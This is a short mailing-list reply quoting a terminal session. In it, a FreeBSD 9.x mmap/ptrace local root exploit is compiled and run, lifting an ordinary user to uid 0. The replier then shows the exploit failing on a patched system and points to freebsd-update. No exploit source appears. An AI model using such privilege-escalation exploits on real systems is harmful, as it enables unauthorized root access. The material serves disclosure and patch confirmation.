Hunger schreef op 2013-06-19 23:32:
$ uname -a
FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
4 09:23:10 UTC 2012
root@xxxxxxxxxxxxxxxxxxxxxxx:/usr/obj/usr/src/sys/GENERIC amd64
$ id
uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
$ gcc fbsd9lul.c -o fbsd9lul
$ ./fbsd9lul
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger <fbsd9lul@xxxxxxxxx>
# id
uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
#
uname -a
FreeBSD nergal.ninth-circle-alliance.net 9.1-RELEASE-p4 FreeBSD
9.1-RELEASE-p4 #0: Mon Jun 17 11:42:37 UTC 2013
root@xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:/usr/obj/usr/src/sys/GENERIC amd64
./fbsd9lul
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger <fbsd9lul () hunger hu>
fbsd9lul: ptio: Bad address
Vuln is already patched and available in freebsd-update.
Cheers,
Emiel
